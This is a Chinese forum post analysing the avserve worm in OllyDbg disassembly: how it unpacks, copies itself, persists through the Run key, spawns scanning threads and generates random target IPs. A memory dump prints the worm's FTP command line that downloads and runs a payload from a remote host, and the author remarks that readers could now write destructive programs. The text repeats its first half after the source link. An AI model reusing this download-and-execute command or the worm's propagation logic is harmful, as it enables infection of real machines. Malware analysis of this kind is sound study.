avserve病毒初步分析
作者:mejy【BCG】【FCG】【DFCG】【NUKE】【IPB】
声明:本文仅供研究使用,任何人利用本文涉及的技术造成的不当后果由自己承担!
由于本人第一次分析病毒,很多不正确的地方请各位大侠指正!!!
本人第一次写本文时尚未有官方资料出来!有些地方肯定不是很准确!请谅解欢迎指正!
反汇编会发现输入表只有几个简单的函数。
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD 用OD载入程序停在这里。
载入时,提示是压缩过得!检测工具识别不出什么壳,自己试着脱一下吧!在脱壳过程中感觉壳里面包含着壳自动
复制,传播的代码!脱掉壳之后感觉其影响力要小多了!不知道对不对,先脱壳吧!
代码:--------------------------------------------------------------------------------
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD
004027D3 8000 28 ADD BYTE PTR DS:[EAX],28
004027D6 40 INC EAX
004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567 //单步走到这里,下面的代码改变
004027DD 90 NOP
004027DE A9 521DFF50 TEST EAX,50FF1D52
004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0]
004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1 33C0 XOR EAX,EAX
004027F3 8908 MOV DWORD PTR DS:[EAX],ECX
变成:
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD
004027D3 8000 28 ADD BYTE PTR DS:[EAX],28
004027D6 40 INC EAX
004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567
004027DD B8 10984000 MOV EAX,23918_up.00409810 在EAX的地址处设断,然后SHIFT+F9
004027E2 50 PUSH EAX
004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0] 典型异常标志
004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1 33C0 XOR EAX,EAX
004027F3 8908 MOV DWORD PTR DS:[EAX],ECX
00409810 B8 B18740F0 MOV EAX,F04087B1 停在这里
00409815 8D88 82100010 LEA ECX,DWORD PTR DS:[EAX+10001082]
0040981B 8941 01 MOV DWORD PTR DS:[ECX+1],EAX
0040981E 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
00409822 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00409825 C602 E9 MOV BYTE PTR DS:[EDX],0E9
00409828 83C2 05 ADD EDX,5
0040982B 2BCA SUB ECX,EDX
0040982D 894A FC MOV DWORD PTR DS:[EDX-4],ECX
00409830 33C0 XOR EAX,EAX
00409832 C3 RETN 这里返回系统空间,我用Ctrl+F9一直走到下面
00409833 B8 B18740F0 MOV EAX,F04087B1 也可以取消上面的断点,再这里设断,然后单步走,程序可直接到达OEP
00409838 64:8F05 00000000 POP DWORD PTR FS:[0]
0040983F 83C4 04 ADD ESP,4
00409842 55 PUSH EBP
00409843 53 PUSH EBX
060010B5 8945 A0 MOV DWORD PTR SS:[EBP-60],EAX 这里看见PE文件头部特征。
060010B8 837D A0 00 CMP DWORD PTR SS:[EBP-60],0
060010BC 75 07 JNZ SHORT ApiHook.060010C5
060010BE 33C0 XOR EAX,EAX
060010C0 E9 92000000 JMP ApiHook.06001157
。。。第一次来到这里
00340430 85C0 TEST EAX,EAX ; kernel32.ExitProcess
略
00340451 C9 LEAVE
××××××××××××××××××××××××××有一个循环,应该是处理IAT的
00340403 51 PUSH ECX IAT,输入表USER32.DLL
00340404 FF93 8F120010 CALL DWORD PTR DS:[EBX+1000128F] LoadLibrary
0034040A 85C0 TEST EAX,EAX
0034040C 74 3A JE SHORT 00340448
0034040E 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
00340411 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4]
00340414 03D3 ADD EDX,EBX
00340416 8B7E 08 MOV EDI,DWORD PTR DS:[ESI+8]
00340419 03FB ADD EDI,EBX
0034041B 8B02 MOV EAX,DWORD PTR DS:[EDX]
0034041D 85C0 TEST EAX,EAX
0034041F 74 1A JE SHORT 0034043B
00340421 52 PUSH EDX
00340422 8B02 MOV EAX,DWORD PTR DS:[EDX]
00340424 03C3 ADD EAX,EBX
00340426 50 PUSH EAX
00340427 FF75 FC PUSH DWORD PTR SS:[EBP-4]
0034042A FF93 93120010 CALL DWORD PTR DS:[EBX+10001293]
00340430 85C0 TEST EAX,EAX
00340432 74 14 JE SHORT 00340448
00340434 AB STOS DWORD PTR ES:[EDI]
00340435 5A POP EDX
00340436 83C2 04 ADD EDX,4
00340439 ^EB E0 JMP SHORT 0034041B
走过上面来到这里
003401C0 8B4E 2C MOV ECX,DWORD PTR DS:[ESI+2C]
003401C3 8B56 24 MOV EDX,DWORD PTR DS:[ESI+24]
003401C6 0356 08 ADD EDX,DWORD PTR DS:[ESI+8]
003401C9 6A 40 PUSH 40
003401CB 68 00100000 PUSH 1000
003401D0 51 PUSH ECX
003401D1 6A 00 PUSH 0
003401D3 FF12 CALL DWORD PTR DS:[EDX]
003401D5 8985 8B120010 MOV DWORD PTR SS:[EBP+1000128B],EAX
003401DB 56 PUSH ESI 这几个函数是恢复输入表的,应该。
003401DC E8 D7030000 CALL 003405B8 跟进去会发现,它会拷贝输入表,和其他一些shell。
003401E1 56 PUSH ESI
003401E2 E8 DF040000 CALL 003406C6
003401E7 56 PUSH ESI
003401E8 E8 CB020000 CALL 003404B8
003401ED 56 PUSH ESI
003401EE E8 62020000 CALL 00340455
003401F3 8B4E 34 MOV ECX,DWORD PTR DS:[ESI+34]
003401F6 85C9 TEST ECX,ECX
一直F8单步来到下面地方
004098AE 8985 21110010 MOV DWORD PTR SS:[EBP+10001121],EAX ; 23918_up.<ModuleEntryPoint>
004098B4 8BF0 MOV ESI,EAX
004098B6 59 POP ECX
略调一部分
004098C9 59 POP ECX
004098CA 5B POP EBX
004098CB 5D POP EBP
004098CC FFE0 JMP EAX 这里跳到新的OEP,和和原来载入的地址一样。
004027CE > 55 PUSH EBP 这时入口点就变成了这样了。
本人脱壳水平一般,理论的东西我就不班门弄赴了!
004027CF 8BEC MOV EBP,ESP
004027D1 6A FF PUSH -1
004027D3 68 28514000 PUSH 23918_up.00405128
到了入口点就可以DUMP程序了,然后用ImportREC修复一下,程序就脱壳成功。不过你在运行之前建议你先打上补丁。
脱下来了,咱们来分析一下该病毒的工作流程。 修复好之后用OD载入脱壳后的程序,看一下他的输入表基本上就知道
他是如何工作的了。OD载入后,Ctrl+N搜索当前模块中的名称!
为了看清它的流程,我们F8单步,一步步的跟。忘了说了,这个病毒用VC写的。
00402896 |. 50 PUSH EAX 这是VC程序运行特征,F4到这里
00402897 |. E8 4EF7FFFF CALL dumped_.00401FEA F7进入,要不然病毒就直接运行了
00401FEA /$ 55 PUSH EBP 进入上面的call
00401FEB |. 8BEC MOV EBP,ESP
00401FED |. 51 PUSH ECX
00401FEE |. 51 PUSH ECX
00401FEF |. 56 PUSH ESI
00401FF0 |. FF15 44504000 CALL DWORD PTR DS:[<&kernel32.GetTickCou>; [GetTickCount
上面是得到系统自启动以来运行的时间。
00401FF6 |. 50 PUSH EAX
00401FF7 |. E8 22F0FFFF CALL dumped_.0040101E
上面的call作用是将时间保存到内存[406F20]当中。
00401FFC |. 6A 01 PUSH 1
00401FFE |. E8 6E000000 CALL dumped_.00402071
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
跟进上面的call。看看它是干什么坏事的。
00402071 /$ 55 PUSH EBP
00402072 |. 8BEC MOV EBP,ESP
00402074 |. 81EC 24080000 SUB ESP,824
0040207A |. 56 PUSH ESI
0040207B |. BE 00040000 MOV ESI,400
00402080 |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824]
00402086 |. 56 PUSH ESI ; /BufSize => 400 (1024.)
00402087 |. 50 PUSH EAX ; |PathBuffer
00402088 |. 6A 00 PUSH 0 ; |hModule = NULL
0040208A |. FF15 34504000 CALL DWORD PTR DS:[<&kernel32.GetModuleF>; /GetModuleFileNameA 得到程序句柄
00402090 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
00402096 |. 56 PUSH ESI ; /BufSize => 400 (1024.)
00402097 |. 50 PUSH EAX ; |Buffer
00402098 |. FF15 4C504000 CALL DWORD PTR DS:[<&kernel32.GetWindows>; /GetWindowsDirectoryA 得到windows安装目录
0040209E |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 堆栈中是取得的目录
004020A4 |. 50 PUSH EAX
004020A5 |. E8 96000000 CALL dumped_.00402140 这个函数干什么,没明白好像没多大作用
004020AA |. 80BC05 DBFBFFF>CMP BYTE PTR SS:[EBP+EAX-425],5C
004020B2 |. 59 POP ECX
004020B3 |. 5E POP ESI
004020B4 |. 74 13 JE SHORT dumped_.004020C9
004020B6 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020BC |. 68 B06A4000 PUSH dumped_.00406AB0
004020C1 |. 50 PUSH EAX
004020C2 |. E8 F9050000 CALL dumped_.004026C0
这里进去看看慢慢的你看见内存中
004068C8 20 69 40 00 18 69 40 00 10 69 40 00 08 69 40 00 i@.i@.i@.i@.
004068D8 00 69 40 00 F8 68 40 00 F0 68 40 00 E8 68 40 00 .i@.鴋@.餳@.鑘@.
004068E8 31 35 30 20 4F 4B 0A 00 32 30 30 20 4F 4B 0A 00 150 OK..200 OK..
004068F8 32 32 36 20 4F 4B 0A 00 32 33 30 20 4F 4B 0A 00 226 OK..230 OK..
00406908 33 33 31 20 4F 4B 0A 00 32 32 30 20 4F 4B 0A 00 331 OK..220 OK..
00406918 61 76 73 65 72 76 65 00 61 76 73 65 72 76 65 2E avserve.avserve. 程序名
00406928 65 78 65 00 65 63 68 6F 20 6F 66 66 26 65 63 68 exe.echo off&ech
00406938 6F 20 6F 70 65 6E 20 25 73 20 35 35 35 34 3E 3E o open %s 5554>>
00406948 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 61 6E 6F cmd.ftp&echo ano
00406958 6E 79 6D 6F 75 73 3E 3E 63 6D 64 2E 66 74 70 26 nymous>>cmd.ftp&
00406968 65 63 68 6F 20 75 73 65 72 26 65 63 68 6F 20 62 echo user&echo b
00406978 69 6E 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F in>>cmd.ftp&echo
00406988 20 67 65 74 20 25 69 5F 75 70 2E 65 78 65 3E 3E get %i_up.exe>>
00406998 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 62 79 65 cmd.ftp&echo bye
004069A8 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 6F >>cmd.ftp&echo o
004069B8 6E 26 66 74 70 20 2D 73 3A 63 6D 64 2E 66 74 70 n&ftp -s:cmd.ftp
004069C8 26 25 69 5F 75 70 2E 65 78 65 26 65 63 68 6F 20 &%i_up.exe&echo
004069D8 6F 66 66 26 64 65 6C 20 63 6D 64 2E 66 74 70 26 off&del cmd.ftp&
004069E8 65 63 68 6F 20 6F 6E 0A 00 00 00 00 31 32 37 2E echo on.....127.
004069F8 30 2E 30 2E 31 00 00 00 25 73 25 63 00 00 00 00 0.0.1...%s%c....
00406A08 5C 5C 25 73 5C 69 70 63 24 00 00 00 EB 06 //%s/ipc$...??
这个应该是干坏事的东西吧(估计)
004026C0 /$ 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4]
省略一部分,大家可以自己跟进
0040271C |. EB 03 JMP SHORT dumped_.00402721
0040271E |> 8D79 FC LEA EDI,DWORD PTR DS:[ECX-4]
00402721 |> 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] avserve.exe病毒的另一副本名称
00402725 |. F7C1 03000000 TEST ECX,3
省略一部分
0040279F /. C3 RETN
004020C7 |. 59 POP ECX
004020C8 |. 59 POP ECX
004020C9 |> FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; dumped_.00406920
004020CF |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020D5 |. 50 PUSH EAX
004020D6 |. E8 E5050000 CALL dumped_.004026C0
004020DB |. 807D 08 00 CMP BYTE PTR SS:[EBP+8],0
004020DF |. 59 POP ECX
004020E0 |. 59 POP ECX
004020E1 |. 74 16 JE SHORT dumped_.004020F9 这里判断你的Windows安装目录下面有没有avserve.exe文件没有下面就复制
004020E3 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
004020E9 |. 6A 00 PUSH 0 ; /FailIfExists = FALSE
004020EB |. 50 PUSH EAX ; |NewFileName
004020EC |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824] ; |
004020F2 |. 50 PUSH EAX ; |ExistingFileName
004020F3 |. FF15 48504000 CALL DWORD PTR DS:[<&kernel32.CopyFileA>>; /CopyFileA 自动复制
004020F9 |> 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
004020FC |. 50 PUSH EAX ; /pHandle
004020FD |. 68 806A4000 PUSH dumped_.00406A80 ; |Subkey = "SOFTWARE/Microsoft/Windows/CurrentVersion/Run"
00402102 |. 68 02000080 PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE
00402107 |. FF15 04504000 CALL DWORD PTR DS:[<&advapi32.RegOpenKey>; /RegOpenKeyA 这里很明显了改你的注册表,使程序自己开机自动执行
0040210D |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424]
00402113 |. 50 PUSH EAX
00402114 |. E8 27000000 CALL dumped_.00402140
00402119 |. 59 POP ECX
0040211A |. 50 PUSH EAX ; /BufSize
0040211B |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] ; |
00402121 |. 50 PUSH EAX ; |Buffer
00402122 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ
00402124 |. 6A 00 PUSH 0 ; |Reserved = 0
00402126 |. FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; |ValueName = "avserve.exe"
0040212C |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hKey
0040212F |. FF15 08504000 CALL DWORD PTR DS:[<&advapi32.RegSetValu>; /RegSetValueExA
00402135 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /hKey
00402138 |. FF15 0C504000 CALL DWORD PTR DS:[<&advapi32.RegCloseKe>; /RegCloseKey
0040213E |. C9 LEAVE
0040213F /. C3 RETN 这里就完了。回去下面干坏事了
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
00402003 |. 59 POP ECX
00402004 |. 59 POP ECX
00402005 |. E8 1EF0FFFF CALL dumped_.00401028
0040200A |. 33F6 XOR ESI,ESI
0040200C |. 68 746A4000 PUSH dumped_.00406A74 ; /MutexName = "Jobaka3l"
00402011 |. 56 PUSH ESI ; |InitialOwner => FALSE
00402012 |. 56 PUSH ESI ; |pSecurity => NULL
00402013 |. FF15 40504000 CALL DWORD PTR DS:[<&kernel32.CreateMute>; /CreateMutexA
创建一个信号量,目的何在?
00402019 |. FF15 3C504000 CALL DWORD PTR DS:[<&kernel32.GetLastErr>; [GetLastError
0040201F |. 3D B7000000 CMP EAX,0B7
00402024 |. 75 07 JNZ SHORT dumped_.0040202D 这里如果跳的话,病毒就要开始发威了
00402026 |. 33C0 XOR EAX,EAX
00402028 |. 5E POP ESI
00402029 |. C9 LEAVE
0040202A |. C2 1000 RETN 10
0040202D |> 53 PUSH EBX
0040202E |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
00402031 |. 57 PUSH EDI
00402032 |. 8B3D 38504000 MOV EDI,DWORD PTR DS:[<&kernel32.CreateT>; KERNEL32.CreateThread
创建线程了
00402038 |. 50 PUSH EAX ; /pThreadId
00402039 |. 56 PUSH ESI ; |CreationFlags
0040203A |. 56 PUSH ESI ; |pThreadParm
0040203B |. 68 6A1E4000 PUSH dumped_.00401E6A ; |ThreadFunction = dumped_.00401E6A 线程函数的种子函数
00402040 |. 56 PUSH ESI ; |StackSize
00402041 |. 56 PUSH ESI ; |pSecurity
00402042 |. FFD7 CALL EDI ; /CreateThread
00402044 |. BB 80000000 MOV EBX,80 循环创建0x80=128个线程
00402049 |> 8D45 F8 /LEA EAX,DWORD PTR SS:[EBP-8]
0040204C |. 50 |PUSH EAX
0040204D |. 56 |PUSH ESI
0040204E |. 56 |PUSH ESI
0040204F |. 68 F51E4000 |PUSH dumped_.00401EF5
00402054 |. 56 |PUSH ESI
00402055 |. 56 |PUSH ESI
00402056 |. FFD7 |CALL EDI
00402058 |. 4B |DEC EBX 循环创建
00402059 |.^75 EE /JNZ SHORT dumped_.00402049 到这里你不防改一下!不用它来128个了,一个就够你分析了
0040205B |. 5F POP EDI
0040205C |. 5B POP EBX
0040205D |> 56 PUSH ESI ; /MachineName
0040205E |. FF15 00504000 CALL DWORD PTR DS:[<&advapi32.AbortSyste>; /AbortSystemShutdownA 用这个函数关机。
00402064 |. 68 B80B0000 PUSH 0BB8 ; /Timeout = 3000. ms
00402069 |. FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep 睡它一会
它睡得时候好像也没消停,去线程函数那里执行去了
0040206F /.^EB EC JMP SHORT dumped_.0040205D
线程函数
00401E6A /. 55 PUSH EBP
00401E6B |. 8BEC MOV EBP,ESP
00401E6D |. 83EC 14 SUB ESP,14
00401E70 |. 56 PUSH ESI
00401E71 |. 33F6 XOR ESI,ESI
00401E73 |. 57 PUSH EDI
00401E74 |. 56 PUSH ESI ; /Protocol => IPPROTO_IP
00401E75 |. 6A 01 PUSH 1 ; |Type = SOCK_STREAM
00401E77 |. 6A 02 PUSH 2 ; |Family = AF_INET
00401E79 |. FF15 F0504000 CALL DWORD PTR DS:[<&ws2_32.socket>] ; /socket 创建socket
00401E7F |. 8BF8 MOV EDI,EAX
00401E81 |. 83FF FF CMP EDI,-1
00401E84 |. 75 08 JNZ SHORT dumped_.00401E8E
00401E86 |> 5F POP EDI
00401E87 |. 33C0 XOR EAX,EAX
00401E89 |. 5E POP ESI
00401E8A |. C9 LEAVE
00401E8B |. C2 0400 RETN 4
00401E8E |> 68 B2150000 PUSH 15B2 ; /NetShort = 15B2
00401E93 |. 66:C745 EC 020>MOV WORD PTR SS:[EBP-14],2 ; |
00401E99 |. FF15 EC504000 CALL DWORD PTR DS:[<&ws2_32.htons>] ; /ntohs 这个函数好像是做端口转换的吧,
网络编程偶不行的说
00401E9F |. 66:8945 EE MOV WORD PTR SS:[EBP-12],AX
00401EA3 |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14]
00401EA6 |. 6A 10 PUSH 10 ; /AddrLen = 10 (16.)
00401EA8 |. 50 PUSH EAX ; |pSockAddr
00401EA9 |. 57 PUSH EDI ; |Socket
00401EAA |. 8975 F0 MOV DWORD PTR SS:[EBP-10],ESI ; |
00401EAD |. FF15 18514000 CALL DWORD PTR DS:[<&ws2_32.bind>] ; /bind 绑定一个socket
00401EB3 |. 83F8 FF CMP EAX,-1
00401EB6 |. 74 0E JE SHORT dumped_.00401EC6
00401EB8 |. 6A 05 PUSH 5 ; /Backlog = 5
00401EBA |. 57 PUSH EDI ; |Socket
00401EBB |. FF15 FC504000 CALL DWORD PTR DS:[<&ws2_32.listen>] ; /listen 监听,队列长度是5
网络牛人们知道是干吗的
00401EC1 |. 83F8 FF CMP EAX,-1 这里跳到下面去 ,
00401EC4 |. 75 09 JNZ SHORT dumped_.00401ECF
00401EC6 |> 57 PUSH EDI ; /Socket
00401EC7 |. FF15 00514000 CALL DWORD PTR DS:[<&ws2_32.closesocket>>; /closesocket 关闭socket
干完坏事,还没忘这个!
00401ECD |.^EB B7 JMP SHORT dumped_.00401E86
从上面跳到下面
00401ECF |> 56 /PUSH ESI ; /pAddrLen
00401ED0 |. 56 |PUSH ESI ; |pSockAddr
00401ED1 |. 57 |PUSH EDI ; |Socket
00401ED2 |. FF15 E4504000 |CALL DWORD PTR DS:[<&ws2_32.accept>] ; /accept 接受连接吧这里应该忘了
程序到了这里,不动了,没法向下调试了,因为我没找到目标
不过往下看看就知道了,应该是产生IP地址并试图攻击。具体怎么作我不分析了。说多了不好。
00401ED8 |. 8D4D FC |LEA ECX,DWORD PTR SS:[EBP-4]
00401EDB |. 51 |PUSH ECX ; /pThreadId
00401EDC |. 56 |PUSH ESI ; |CreationFlags
00401EDD |. 50 |PUSH EAX ; |pThreadParm
00401EDE |. 68 031B4000 |PUSH dumped_.00401B03 ; |ThreadFunction = dumped_.00401B03
00401EE3 |. 56 |PUSH ESI ; |StackSize
00401EE4 |. 56 |PUSH ESI ; |pSecurity
00401EE5 |. FF15 38504000 |CALL DWORD PTR DS:[<&kernel32.CreateThr>; /CreateThread
00401EEB |. 6A 19 |PUSH 19 ; /Timeout = 25. ms
00401EED |. FF15 1C504000 |CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep
00401EF3 /.^EB DA /JMP SHORT dumped_.00401ECF
00401EF5 . 83EC 54 SUB ESP,54
00401EF8 . 53 PUSH EBX
00401EF9 . 55 PUSH EBP
00401EFA . 8B2D DC504000 MOV EBP,DWORD PTR DS:[<&user32.wsprintfA>; user32.wsprintfA
这里再省略一部分
00401FBB . 8BCE MOV ECX,ESI
00401FBD . F7F9 IDIV ECX
00401FBF . 52 PUSH EDX
00401FC0 > 8D4424 20 LEA EAX,DWORD PTR SS:[ESP+20]
00401FC4 . 68 4C6A4000 PUSH dumped_.00406A4C ; ASCII "%i.%i.%i.%i"
IP地址的格式哟
00401FC9 . 50 PUSH EAX
00401FCA . FFD5 CALL EBP
00401FCC . 83C4 18 ADD ESP,18
00401FCF . 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
00401FD3 . 50 PUSH EAX
00401FD4 . E8 39FAFFFF CALL dumped_.00401A12
00401FD9 . 59 POP ECX
00401FDA . 68 FA000000 PUSH 0FA ; /Timeout = 250. ms
00401FDF . FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; /Sleep
这么快就干坏事
00401FE5 .^E9 1DFFFFFF JMP dumped_.00401F07
--------------------------------------------------------------------------------
至此,分析完毕!至于病毒如何利用漏洞来实现shell的,本人水平有限和一些原因不分析了,有兴趣的自己研究
最后申明,到这里大家自己写一个破坏系统的程序已经足够了!不过由此引发的后果本人不负责任!
写完感觉有点班门弄斧之闲!不过毕竟是我第一次分析病毒,愿和大家共享!病毒原来如此简单!
转载请保持完整性!
http://bbs.pediy.com/showthread.php?s=a0b9f4c265d2aed622acf3c42ac92e9f&threadid=397
作者:mejy【BCG】【FCG】【DFCG】【NUKE】【IPB】
声明:本文仅供研究使用,任何人利用本文涉及的技术造成的不当后果由自己承担!
由于本人第一次分析病毒,很多不正确的地方请各位大侠指正!!!
本人第一次写本文时尚未有官方资料出来!有些地方肯定不是很准确!请谅解欢迎指正!
反汇编会发现输入表只有几个简单的函数。
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD 用OD载入程序停在这里。
载入时,提示是压缩过得!检测工具识别不出什么壳,自己试着脱一下吧!在脱壳过程中感觉壳里面包含着壳自动
复制,传播的代码!脱掉壳之后感觉其影响力要小多了!不知道对不对,先脱壳吧!
代码:--------------------------------------------------------------------------------
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD
004027D3 8000 28 ADD BYTE PTR DS:[EAX],28
004027D6 40 INC EAX
004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567 //单步走到这里,下面的代码改变
004027DD 90 NOP
004027DE A9 521DFF50 TEST EAX,50FF1D52
004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0]
004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1 33C0 XOR EAX,EAX
004027F3 8908 MOV DWORD PTR DS:[EAX],ECX
变成:
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD
004027D3 8000 28 ADD BYTE PTR DS:[EAX],28
004027D6 40 INC EAX
004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567
004027DD B8 10984000 MOV EAX,23918_up.00409810 在EAX的地址处设断,然后SHIFT+F9
004027E2 50 PUSH EAX
004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0] 典型异常标志
004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1 33C0 XOR EAX,EAX
004027F3 8908 MOV DWORD PTR DS:[EAX],ECX
00409810 B8 B18740F0 MOV EAX,F04087B1 停在这里
00409815 8D88 82100010 LEA ECX,DWORD PTR DS:[EAX+10001082]
0040981B 8941 01 MOV DWORD PTR DS:[ECX+1],EAX
0040981E 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
00409822 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00409825 C602 E9 MOV BYTE PTR DS:[EDX],0E9
00409828 83C2 05 ADD EDX,5
0040982B 2BCA SUB ECX,EDX
0040982D 894A FC MOV DWORD PTR DS:[EDX-4],ECX
00409830 33C0 XOR EAX,EAX
00409832 C3 RETN 这里返回系统空间,我用Ctrl+F9一直走到下面
00409833 B8 B18740F0 MOV EAX,F04087B1 也可以取消上面的断点,再这里设断,然后单步走,程序可直接到达OEP
00409838 64:8F05 00000000 POP DWORD PTR FS:[0]
0040983F 83C4 04 ADD ESP,4
00409842 55 PUSH EBP
00409843 53 PUSH EBX
060010B5 8945 A0 MOV DWORD PTR SS:[EBP-60],EAX 这里看见PE文件头部特征。
060010B8 837D A0 00 CMP DWORD PTR SS:[EBP-60],0
060010BC 75 07 JNZ SHORT ApiHook.060010C5
060010BE 33C0 XOR EAX,EAX
060010C0 E9 92000000 JMP ApiHook.06001157
。。。第一次来到这里
00340430 85C0 TEST EAX,EAX ; kernel32.ExitProcess
略
00340451 C9 LEAVE
××××××××××××××××××××××××××有一个循环,应该是处理IAT的
00340403 51 PUSH ECX IAT,输入表USER32.DLL
00340404 FF93 8F120010 CALL DWORD PTR DS:[EBX+1000128F] LoadLibrary
0034040A 85C0 TEST EAX,EAX
0034040C 74 3A JE SHORT 00340448
0034040E 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
00340411 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4]
00340414 03D3 ADD EDX,EBX
00340416 8B7E 08 MOV EDI,DWORD PTR DS:[ESI+8]
00340419 03FB ADD EDI,EBX
0034041B 8B02 MOV EAX,DWORD PTR DS:[EDX]
0034041D 85C0 TEST EAX,EAX
0034041F 74 1A JE SHORT 0034043B
00340421 52 PUSH EDX
00340422 8B02 MOV EAX,DWORD PTR DS:[EDX]
00340424 03C3 ADD EAX,EBX
00340426 50 PUSH EAX
00340427 FF75 FC PUSH DWORD PTR SS:[EBP-4]
0034042A FF93 93120010 CALL DWORD PTR DS:[EBX+10001293]
00340430 85C0 TEST EAX,EAX
00340432 74 14 JE SHORT 00340448
00340434 AB STOS DWORD PTR ES:[EDI]
00340435 5A POP EDX
00340436 83C2 04 ADD EDX,4
00340439 ^EB E0 JMP SHORT 0034041B
走过上面来到这里
003401C0 8B4E 2C MOV ECX,DWORD PTR DS:[ESI+2C]
003401C3 8B56 24 MOV EDX,DWORD PTR DS:[ESI+24]
003401C6 0356 08 ADD EDX,DWORD PTR DS:[ESI+8]
003401C9 6A 40 PUSH 40
003401CB 68 00100000 PUSH 1000
003401D0 51 PUSH ECX
003401D1 6A 00 PUSH 0
003401D3 FF12 CALL DWORD PTR DS:[EDX]
003401D5 8985 8B120010 MOV DWORD PTR SS:[EBP+1000128B],EAX
003401DB 56 PUSH ESI 这几个函数是恢复输入表的,应该。
003401DC E8 D7030000 CALL 003405B8 跟进去会发现,它会拷贝输入表,和其他一些shell。
003401E1 56 PUSH ESI
003401E2 E8 DF040000 CALL 003406C6
003401E7 56 PUSH ESI
003401E8 E8 CB020000 CALL 003404B8
003401ED 56 PUSH ESI
003401EE E8 62020000 CALL 00340455
003401F3 8B4E 34 MOV ECX,DWORD PTR DS:[ESI+34]
003401F6 85C9 TEST ECX,ECX
一直F8单步来到下面地方
004098AE 8985 21110010 MOV DWORD PTR SS:[EBP+10001121],EAX ; 23918_up.<ModuleEntryPoint>
004098B4 8BF0 MOV ESI,EAX
004098B6 59 POP ECX
略调一部分
004098C9 59 POP ECX
004098CA 5B POP EBX
004098CB 5D POP EBP
004098CC FFE0 JMP EAX 这里跳到新的OEP,和和原来载入的地址一样。
004027CE > 55 PUSH EBP 这时入口点就变成了这样了。
本人脱壳水平一般,理论的东西我就不班门弄赴了!
004027CF 8BEC MOV EBP,ESP
004027D1 6A FF PUSH -1
004027D3 68 28514000 PUSH 23918_up.00405128
到了入口点就可以DUMP程序了,然后用ImportREC修复一下,程序就脱壳成功。不过你在运行之前建议你先打上补丁。
脱下来了,咱们来分析一下该病毒的工作流程。 修复好之后用OD载入脱壳后的程序,看一下他的输入表基本上就知道
他是如何工作的了。OD载入后,Ctrl+N搜索当前模块中的名称!
为了看清它的流程,我们F8单步,一步步的跟。忘了说了,这个病毒用VC写的。
00402896 |. 50 PUSH EAX 这是VC程序运行特征,F4到这里
00402897 |. E8 4EF7FFFF CALL dumped_.00401FEA F7进入,要不然病毒就直接运行了
00401FEA /$ 55 PUSH EBP 进入上面的call
00401FEB |. 8BEC MOV EBP,ESP
00401FED |. 51 PUSH ECX
00401FEE |. 51 PUSH ECX
00401FEF |. 56 PUSH ESI
00401FF0 |. FF15 44504000 CALL DWORD PTR DS:[<&kernel32.GetTickCou>; [GetTickCount
上面是得到系统自启动以来运行的时间。
00401FF6 |. 50 PUSH EAX
00401FF7 |. E8 22F0FFFF CALL dumped_.0040101E
上面的call作用是将时间保存到内存[406F20]当中。
00401FFC |. 6A 01 PUSH 1
00401FFE |. E8 6E000000 CALL dumped_.00402071
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
跟进上面的call。看看它是干什么坏事的。
00402071 /$ 55 PUSH EBP
00402072 |. 8BEC MOV EBP,ESP
00402074 |. 81EC 24080000 SUB ESP,824
